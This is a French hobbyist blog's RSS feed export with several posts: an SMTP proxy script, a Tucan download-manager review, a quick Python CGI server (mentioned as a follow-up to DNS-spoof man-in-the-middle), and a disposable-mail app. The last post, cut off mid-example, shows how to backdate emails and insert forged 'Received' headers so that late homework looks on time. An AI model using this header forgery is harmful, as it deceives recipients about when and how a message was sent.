<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; running_gid = <span class="kw3">grp</span>.<span class="me1">getgrnam</span><span class="br0">&#40;</span><span class="st0">&quot;nobody&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">os</span>.<span class="me1">setgid</span><span class="br0">&#40;</span>running_gid<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">os</span>.<span class="me1">setuid</span><span class="br0">&#40;</span>running_uid<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> == <span class="nu0">3</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; serv = mySMTP <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;0.0.0.0&quot;</span>, <span class="nu0">8025</span><span class="br0">&#41;</span>, <span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">try</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">asyncore</span>.<span class="me1">loop</span> <span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">KeyboardInterrupt</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pass</span></div>
</li>
</ol>
</div>
<p>Ce système n&#8217;agit qu&#8217;en proxy, il faudra donc lui fournir l&#8217;adresse d&#8217;un serveur smtp et son port en paramètre pour qu&#8217;il puisse forwarder les mails.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=972">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/checker-la-validite-dune-adresse-mail-en-php-via-smtp/" rel="bookmark" title="Permanent Link: Checker la validité d&#8217;une adresse mail en PHP via SMTP">Checker la validité d&#8217;une adresse mail en PHP via SMTP</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/" rel="bookmark" title="Permanent Link: Créer son propre service de mail jetable avec appengine">Créer son propre service de mail jetable avec appengine</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/changement-dadresse/" rel="bookmark" title="Permanent Link: Changement d&#8217;adresse">Changement d&#8217;adresse</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/analyse-automatisee-des-logs-apache/" rel="bookmark" title="Permanent Link: Analyse automatisée des logs apache">Analyse automatisée des logs apache</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Téléchargement Direct et Linux (Tucan)</title>
		<link>http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/#comments</comments>
		<pubDate>Sun, 12 Sep 2010 15:31:16 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Système]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[direct download]]></category>
		<category><![CDATA[gtk]]></category>
		<category><![CDATA[jdownloader]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[telechargement direct]]></category>
		<category><![CDATA[tucan]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=889</guid>
		<description><![CDATA[Plop à vous cher visiteur &#8230; Aujourd&#8217;hui, petit article pour relancer mon blog &#8230; (après un mois et demi d&#8217;absence &#8230; ), je vais donc parler de direct download et plus précisement d&#8217;un logiciel permettant d&#8217;automatiser les téléchargements (liste de dl, cracking de captcha, &#8230;). Avec l&#8217;arrivé d&#8217;Hadopi, il devient intéressant de changer ses habitudes [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à vous cher visiteur &#8230;</p>
<p>Aujourd&#8217;hui, petit article pour relancer mon blog &#8230; (après un mois et demi d&#8217;absence &#8230; ), je vais donc parler de direct download et plus précisement d&#8217;un logiciel permettant d&#8217;automatiser les téléchargements (liste de dl, cracking de captcha, &#8230;).</p>
<p>Avec l&#8217;arrivé d&#8217;Hadopi, il devient intéressant de changer ses habitudes en terme de téléchargement de contenus (légaux bien sûr <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ). Jusque là, j&#8217;utilisais JDownloader, qui faisait bien son travail, si ce n&#8217;est les ressources consommées par le logiciel (écrit en Java &#8230; pas besoin d&#8217;un dessin), il avait tout pour plaire :</p>
<ul>
<li>Récupération direct du contenu d&#8217;un copié (et collage immédiat dans le logiciel)</li>
<li>Cracking de captcha (système maison efficace à 90% voir plus ou moins suivant les hosts)</li>
<li>Système de priorité</li>
<li>Reprise de téléchargement après extinction, &#8230;</li>
<li>Mise à jour fréquente</li>
</ul>
<p>Cela dit, l&#8217;interface pouvait devenir très lourd, et l&#8217;utilisation sous linux semblait bizarre, déplacement de fenêtres saccadées, lenteur d&#8217;affichage (Java &#8230;).</p>
<p>Il me fallait donc trouver un soft open-source propre et léger comme seul de vrai libriste savent le faire <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Au détour de la doc d&#8217;ubuntu (c&#8217;est le mal, mais bon), j&#8217;ai trouvé le soft <a href="http://www.tucaneando.com/" target="_blank">Tucan</a>, écrit en Python-GTK, pas trop moche et encore à ses débuts, toutes les fonctionnalités de JDownloader n&#8217;y sont pas, mais l&#8217;essentiel y est :</p>
<ul>
<li>Récupération de liens depuis du code HTML, texte, &#8230;</li>
<li>Cracking de Captcha (utilisation de <a href="http://code.google.com/p/tesseract-ocr/" target="_blank">Tesseract</a>), crackant même du ReCaptcha (le truc que même un humain doit retaper 3 fois avant de trouver le bon &#8230;)</li>
<li>Priorité basic</li>
<li>Utilisation de Plugins par host (module python à part, super simple à créer/modifier)</li>
<li>Code source en GPLv3</li>
</ul>
<p><strong>Le gros problème :</strong> il ne permet pas la reprise d&#8217;un téléchargement (genre on arrête le logiciel alors que des téléchargements sont en cours, il reprendra le fichier depuis le début).</p>
<p>Le système de timing est basic : ils utilisent tout le temps un timer de 60 secondes, sans tenir compte du temps fournit par l&#8217;host (45sec pour MU, 300 sec pour HF, &#8230;).</p>
<p>Par contre, comme c&#8217;est du python et open-source, on peut direct taper dans le code source (assez lisible et découpé en pas mal de modules). Donc j&#8217;imagine, que ces bugs ou features manquantes arriveront bientôt.</p>
<p>Pour ma part, lors de l&#8217;utilisation du parsing html, le parsing étant fait par split, il arrivait que les liens n&#8217;était pas les bon, j&#8217;ai donc remplacé la chose par un regexp :</p>
<p>Pour ceux ayant ce problème, il faut modifier le fichier &laquo;&nbsp;service_manager&nbsp;&raquo; à la ligne 105 et remplacer :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="st0">&quot;http://&quot;</span> <span class="kw1">in</span> link:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tmp = link.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&quot;http://&quot;</span><span class="br0">&#41;</span>.<span class="me1">pop</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="st0">&quot;&lt;&quot;</span> <span class="kw1">in</span> tmp:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tmp = tmp.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&quot;&lt;&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> <span class="st0">&quot; &quot;</span> <span class="kw1">in</span> tmp:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tmp = tmp.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&quot; &quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> <span class="st0">&quot;[&quot;</span> <span class="kw1">in</span> tmp:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tmp = tmp.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&quot;[&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> <span class="st0">&quot;&#39;&quot;</span> <span class="kw1">in</span> tmp:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tmp = tmp.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&quot;&#39;&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
</ol>
</div>
<p>par </p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;clean = <span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;http://([^<span class="es0">\&quot;</span>&#39; ]*)&quot;</span>,link<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> clean :</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tmp = clean.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Et hop, magie magie et plus de junk, c&#8217;est beau les regexp quand même <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> , les 2 autres problèmes cités plus haut prendront eux plus de temps à corriger, mais l&#8217;équipe doit être dessus &#8230;</p>
<p>Donc voilà, si vous cherchez une alternative à JDownloader, Tucan pourrait peut être vous interessez.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=889">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/ubuntu/cle-tnt-cinergy-xs-em2882-et-ibex/" rel="bookmark" title="Permanent Link: Clé TNT Cinergy XS (em2882) et Ibex">Clé TNT Cinergy XS (em2882) et Ibex</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/extension-chrome-previsualisation-des-videos-sur-itunes/" rel="bookmark" title="Permanent Link: Extension chrome : Prévisualisation des vidéos sur Itunes">Extension chrome : Prévisualisation des vidéos sur Itunes</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/telecharger-sur-mu-via-bash/" rel="bookmark" title="Permanent Link: Telecharger sur MU via bash">Telecharger sur MU via bash</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/creer-un-cd-pour-booter-sur-une-cle-usb/" rel="bookmark" title="Permanent Link: Créer un CD pour booter sur une clé usb">Créer un CD pour booter sur une clé usb</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/les-liens-du-we/" rel="bookmark" title="Permanent Link: Les liens du WE">Les liens du WE</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>monter un serveur PHP en une ligne de commande (ou presque)</title>
		<link>http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/</link>
		<comments>http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 09:45:22 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[cgi-bin]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[sh]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=795</guid>
		<description><![CDATA[Dans le genre &#171;&#160;news de webg33k&#160;&#187; en voici une &#8230; A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de classes existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer [...]]]></description>
			<content:encoded><![CDATA[<p>Dans le genre &laquo;&nbsp;news de webg33k&nbsp;&raquo; en voici une &#8230;</p>
<p>A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de <a href="http://docs.python.org/library/basehttpserver.html">classes</a> existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer l&#8217;artillerie lourde apache ou nginx.<br />
<span id="more-795"></span><br />
Après diverses recherche sur mon <a href="http://www.google.fr">ami</a>, je suis tombé sur : <a href="http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/">créer un serveur http en 10 secondes</a> &#8230;</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> python -m SimpleHTTPServer <span class="nu0">80</span></div>
</li>
</ol>
</div>
<p>Créant ainsi un serveur http accessible sur : http://127.0.0.1/). Mais cette technique ne fournit que des fichiers statiques (ok c&#8217;est déjà pas mal &#8230; et c&#8217;est plus où moins ce que je cherchais).</p>
<p>Mais en lisant la doc, on peut trouver un &laquo;&nbsp;CGIHTTPServer&nbsp;&raquo;, c&#8217;est un serveur qui peut exécuter des scripts (python, perl, php, sh, &#8230;) et l&#8217;utilisation est similaire :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">python -m CGIHTTPServer <span class="nu0">8080</span></div>
</li>
</ol>
</div>
<p>qui créera un serveur HTTP sur le dossier courant avec la possibilité d&#8217;éxecuter des scripts (EN CLI = ligne de commande) sur le port 8080 (accessible sur http://127.0.0.1:8080/).</p>
<p>ATTENTION, il ne faut pas executer le serveur avec un sudo (pour utiliser le port 80), car sinon, les scripts seront executés en root, ainsi pour le script php suivant (à mettre dans un dossier nommé &laquo;&nbsp;cgi-bin&nbsp;&raquo; dans le dossier courant d&#8217;éxecution de la commande, et faire un chmod +x et <span style="color: #ff0000;">nécessite l&#8217;installation du paquet php-cli</span>) :</p>
<div class="geshi no php">
<ol>
<li class="li1">
<div class="de1"><span class="co2">#!/usr/bin/php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">&lt;?php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;&quot;</span><span class="sy0">;</span><span class="co1">//pour signaler la fin des headers</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="kw3">phpinfo</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
<p><a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/python-server.png"><img class="aligncenter size-full wp-image-796" title="python-server" src="http://blog.gaetan-grigis.eu/wp-content/uploads/2010/04/python-server.png" alt="" width="769" height="325" /></a><br />
 <br />
On remarque bien que le script a les droits root &#8230; donc à EVITER.</p>
<p>Il faut donc l&#8217;executer sur le port un port supérieur à 1024 (pour ne pas utiliser les droits root : 8080 est le port le plus courant dans ce genre de cas), puis effectuer une redirection de port via iptables qui permettra ici d&#8217;accéder au port 8080 du serveur en faisant une requête sur le port 80 :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> iptables -t nat -A PREROUTING -p tcp &#8211;dport <span class="nu0">80</span> -j REDIRECT &#8211;to-ports <span class="nu0">8080</span></div>
</li>
</ol>
</div>
<p>(ne fonctionne pas pour l&#8217;adresse de loopback 127.0.0.1).</p>
<p>Si vous voulez exécuter d&#8217;autre type de script : sh, python, &#8230;, il suffit de les mettre dans le dossier cgi-bin et de faire un chmod +x dessus.</p>
<p>En python :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;les kikoolols attaquent!!!&quot;</span></div>
</li>
</ol>
</div>
<p>En bash : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="co0">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;les kikoolols attaquent!!!&quot;</span></div>
</li>
</ol>
</div>
<p>Ne pas oublier le premier print &laquo;&nbsp;&nbsp;&raquo; ou echo &laquo;&nbsp;&nbsp;&raquo;, qui indique la fin des headers HTTP. </p>
<p>Voilà &#8230; c&#8217;était le post inutile mais indispensable de la semaine <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=795">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/se-monter-un-environnement-de-developpement-lamp-rapidement/" rel="bookmark" title="Permanent Link: Se monter un environnement de developpement LAMP rapidement">Se monter un environnement de developpement LAMP rapidement</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/tor-proxy-et-randomiser-le-choix-des-serveurs-de-sortie/" rel="bookmark" title="Permanent Link: Tor Proxy et randomiser le choix des serveurs de sorties">Tor Proxy et randomiser le choix des serveurs de sorties</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/sortie-de-metasploit-32/" rel="bookmark" title="Permanent Link: Sortie de Metasploit 3.2">Sortie de Metasploit 3.2</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/primary-domain-controller-sous-linux/" rel="bookmark" title="Permanent Link: Primary Domain Controller sous Linux &#8230;">Primary Domain Controller sous Linux &#8230;</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/telecharger-sur-mu-via-bash/" rel="bookmark" title="Permanent Link: Telecharger sur MU via bash">Telecharger sur MU via bash</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Créer son propre service de mail jetable avec appengine</title>
		<link>http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/#comments</comments>
		<pubDate>Sat, 27 Mar 2010 11:45:29 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[appengine]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mail jetable]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[trashmail]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=769</guid>
		<description><![CDATA[Plop à tous Au détour d&#8217;un article de Korben, j&#8217;ai découvert les app engine de google, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous<br />
Au détour d&#8217;un <a href="http://www.korben.info/creer-un-serveur-proxy.html">article de Korben</a>, j&#8217;ai découvert les <a href="http://code.google.com/appengine/docs/python/overview.html">app engine de google</a>, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un certificat valide <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>Le gros problème de ce service : <a href="http://code.google.com/appengine/docs/python/datastore/">la base de données</a> (pas de join et on a seulement droit à : 10368000 requêtes par jour ^^).</p>
<p>L&#8217;API fournit, ainsi que l&#8217;environnement de développement est simple à maitriser/mettre en oeuvre. Il me fallait donc un projet plus ou moins (f)utile pour utiliser ce service et le connaitre un peu mieux. L&#8217;un des services proposés par les appengine de google est la <a href="http://code.google.com/appengine/docs/python/mail/receivingmail.html">réception de mail en http</a>. Super utile pour créer des adresses mails à la volée, utilisant depuis quelque temps le service de <a href="http://www.yopmail.com/en/">mail jetable</a> de yopmail, j&#8217;ai donc tenté de recréer une partie du service proposé par yopmail en python pour les appengine &#8230;</p>
<p>Le but de l&#8217;appli est très simple, on crée une adresse mail pour 30 minutes (ou plus), on fournit l&#8217;adresse mail générée à la place de notre adresse mail courante et on attend le mail. Une fois l&#8217;adresse expirée, les mails reçût seront automatiquement droppés.</p>
<p>Pour tester le service : en <a href="http://mail-jetable.appspot.com/">http</a> et en <a href="https://mail-jetable.appspot.com/">https</a>, les adresses mails proposées par le service sont du type : pseudo@mail-jetable.appspotmail.com (ok c&#8217;est long, mais il faut au moins ça pour combattre le spam ^^).</p>
<p>Le code source étant un peu plus long que mes scripts habituels, j&#8217;ai donc ouvert un <a href="http://code.google.com/p/mail-jetable-appengine/">dépôt SVN</a> (sur google code évidemment <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) pour publier les sources.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=769">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/utiliser-google-app-pour-gerer-son-domaine/" rel="bookmark" title="Permanent Link: Utiliser Google App pour gérer son Domaine">Utiliser Google App pour gérer son Domaine</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/checker-la-validite-dune-adresse-mail-en-php-via-smtp/" rel="bookmark" title="Permanent Link: Checker la validité d&#8217;une adresse mail en PHP via SMTP">Checker la validité d&#8217;une adresse mail en PHP via SMTP</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/" rel="bookmark" title="Permanent Link: Petit serveur d&#8217;adresse mail de diffusion">Petit serveur d&#8217;adresse mail de diffusion</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/mise-en-place-dun-cdn-via-google-app-engine/" rel="bookmark" title="Permanent Link: Mise en place d&#8217;un CDN via Google App Engine">Mise en place d&#8217;un CDN via Google App Engine</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Envoyer des mails dans le passé</title>
		<link>http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 15:05:34 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[back to the future]]></category>
		<category><![CDATA[fake]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[temps]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=762</guid>
		<description><![CDATA[Plop à tous &#8230; Aujourd&#8217;hui, une astuce de &#171;&#160;gros noob&#160;&#187;, le but est d&#8217;envoyer un mail à une date passée ou future, genre pour le rendu d&#8217;un devoir à 23h59m59s alors qu&#8217;on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230;</p>
<p>Aujourd&#8217;hui, une astuce de &laquo;&nbsp;gros noob&nbsp;&raquo;, le but est d&#8217;envoyer un mail à une date passée ou future, genre pour le rendu d&#8217;un devoir à 23h59m59s alors qu&#8217;on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures du mat&#8217; &#8230; le truc totalement useless quoi, mais souvent on perd des points pour des trucs de ce genre, &#8230; (quoi ?? ça vous est jamais arrivé ?? bande de lèche-*** &#8230;.)<br />
<span id="more-762"></span><br />
Les plus futés sauront qu&#8217;en modifiant la date de leur machine, on peut fausser les dates d&#8217;envoi (genre en reculant la date de deux jours, la plupart des mailers/logiciels de récupération de mails vont afficher le mail comme étant reçu il y a deux jours &#8230;).</p>
<p>Mais nous sommes informaticiens, et ce genre de méthode, c&#8217;est pour les noobs &#8230; nous on va coder un bon gros serveur SMTP pour envoyer des mails dans le temps xD&#8230;</p>
<p>En fait en python, ça consiste en 40 lignes de codes &#8230; (et encore &#8230; c&#8217;est crade comme d&#8217;hab <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<p>L&#8217;utilisation du script suivant ce fait comme suit :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>nomDuScript <span class="st0">&#39;adresse serveur smtp du fai&#39;</span> <span class="st0">&#39;25&#39;</span> <span class="st0">&quot;date d&#39;envoi&quot;</span></div>
</li>
</ol>
</div>
<p>Ou, si l&#8217;on veut rajouter des faux headers (histoire d&#8217;expliquer le retard du mails, ou rajouter de faux relais &#8230;)</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>nomDuScript <span class="st0">&#39;adresse serveur smtp du fai&#39;</span> <span class="st0">&#39;25&#39;</span> <span class="st0">&quot;date d&#39;envoi&quot;</span> <span class="st0">&#39;/chemin/du/fichier contenant/les/headers&#39;</span></div>
</li>
</ol>
</div>
<p>Un fichier d&#8217;exemples de (fake) headers à rajouter :</p>
<div class="geshi no smtp">
<ol>
<li class="li1">
<div class="de1">Received: from [1.3.3.7] (helo=lol.kikoo.rox)
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; by leskikoolol.attaqu.ent with esmtp id m4573r-573417-00
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; for lolmaster@kikoo.rox; Sat, 20 mar 2010 01:02:03 +0000
</div>
</li>
<li class="li1">
<div class="de1">Received: from kikoo.lol.rox (kikoo.lol.rox [10.3.3.7])
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; by lol.kikoo.rox with ESMTP id f7O1Sci1337
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; for lolmaster@kikoo.rox; Sat, 20 Mar 2010 00:00:00 +0000</div>
</li>
